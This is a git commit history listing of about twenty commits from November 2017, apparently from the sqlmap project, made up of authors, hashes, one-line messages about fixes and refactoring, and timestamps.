Miroslav Stampar	b608c21dff	Fixes #2778	2017-11-15 09:51:20 +01:00
Miroslav Stampar	88df293a1a	Better approach as @cachedmethod got improved	2017-11-13 22:53:22 +01:00
Miroslav Stampar	323f1285b6	Fixes #2774	2017-11-13 14:07:12 +01:00
Miroslav Stampar	26b81f58bb	Fixes #2772	2017-11-13 11:19:25 +01:00
Miroslav Stampar	839070d6ee	Minor refactoring	2017-11-10 13:03:24 +01:00
Miroslav Stampar	28ee12c4d2	Adding delayed imports	2017-11-10 12:34:54 +01:00
Miroslav Stampar	bc61a6828c	Quick patch for #2770	2017-11-10 10:45:20 +01:00
Miroslav Stampar	e9380627e1	Better one for Issue #2769	2017-11-10 00:44:33 +01:00
Miroslav Stampar	e80e841b25	Update related to the Issue #2769	2017-11-10 00:41:03 +01:00
Miroslav Stampar	4102d87521	Better SELECT_FROM_TABLE_REGEX regex	2017-11-09 13:56:01 +01:00
Miroslav Stampar	67b470245e	Minor cleanup of NULL connection	2017-11-09 13:45:52 +01:00
Miroslav Stampar	d148694a4b	Minor refactoring	2017-11-09 12:24:58 +01:00
Miroslav Stampar	9404b63a42	Some memory improvements of @cachedmethod	2017-11-09 12:24:11 +01:00
Miroslav Stampar	58b87e4b6b	Some more refactoring	2017-11-08 15:58:23 +01:00
Miroslav Stampar	5c35aff22a	Minor refactoring	2017-11-08 15:47:12 +01:00
Miroslav Stampar	18d78a34cc	Removing unused methods	2017-11-06 13:53:35 +01:00
Thomas	f9e80adcef	Minor update to Sucuri WAF script (#2761 )	2017-11-06 13:09:24 +01:00
Miroslav Stampar	e5f96102af	Fixes #2763	2017-11-06 10:53:50 +01:00
Miroslav Stampar	d9bf33ea1d	Minor beauty patch	2017-11-06 10:36:17 +01:00
Miroslav Stampar	0d1ea50785	Fixes #2762	2017-11-06 10:00:29 +01:00
Miroslav Stampar	cc37b12d37	Minor update	2017-11-02 14:31:16 +01:00